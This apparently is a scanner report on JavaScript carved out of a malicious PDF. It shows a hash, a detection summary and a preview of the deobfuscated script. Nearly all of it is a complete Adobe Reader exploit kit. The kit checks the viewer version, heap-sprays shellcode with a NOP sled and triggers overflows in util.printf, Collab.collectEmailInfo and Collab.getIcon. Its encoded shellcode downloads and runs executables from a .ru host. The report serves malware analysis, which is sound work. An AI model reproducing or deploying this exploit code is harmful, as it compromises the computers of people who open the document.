function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6866%u6C69%u706F%u3374%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u6A2F%u7271%u7876%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5276 bytes
SHA-256: 8a5e63897c0cba20d01ef8ba19997a92ae4bb23833060a85410fe41daca15ab2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6966%u746A%u7977%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6866%u6C69%u706F%u3374%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u6A2F%u7271%u7876%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.